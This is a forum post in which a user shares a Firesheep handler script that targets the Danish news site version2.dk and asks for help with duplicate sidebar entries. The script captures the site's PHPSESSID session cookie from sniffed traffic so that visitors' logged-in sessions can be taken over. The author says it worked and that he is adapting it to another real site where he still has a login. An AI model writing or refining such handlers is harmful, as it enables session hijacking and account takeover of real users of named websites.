Another question.
I've written a script that worked on the above mentioned site.
However, the link appears twice in the Firesheep sidebar.
// Author:
// hlexa
register({
name: "Version2",
url: '
http://www.version2.dk',
domains: [ '
version2.dk' ],
sessionCookieNames: [ 'PHPSESSID' ],
processPacket: function () {
var ID = this.firstPacket.cookies['PHPSESSID'];
this.sessionId = ID;
},
identifyUser: function () {
var resp = this.httpGet(this.siteUrl);
// this.userName = var resp = this.httpGet(this.siteUrl);
this.userName = "Axel, or perhaps Jesper";
}
});
Like I say, it worked - past tense. I posted it to the site in a
comment, because the site is a news site for "IT Professionals".
They've written several articles about Firesheep where they point the
finger at Twitter and Facebook - about how easy they were to Side
Jack.
Anyway, my posting was removed and they now claim that I had
encouraged others to steal user-id's on the site - which I certainly
had not!
And I also got banned from the site. Speak of double standards!
Anyway, why does the link appear twice in the sidebar with the code
here?
I'm also working on another script for a very similar site where I
still have logon - almost the same script - just with different values
for "utl:" and "domains:". This time, Firesheep also produces two
links in the sidebar. However, when i study the output at the bottom
of the sidebar (this could be improved if one could also copy the
contents - that's not possible in OS X) the two session cookies are
different.
I can see that the first session cookie is set and hijacked by FS just
after the browser (IE8) opens the HP - the second one efter I logon.
It doesn't make any difference if I remove the "processPacket:" block.
BTW, what does block do?
The first time I just got an error message, about there being
different sites, but I fixed that by commenting out the line "var resp
= this.httpGet(this.siteUrl);".
Cheers
hlexa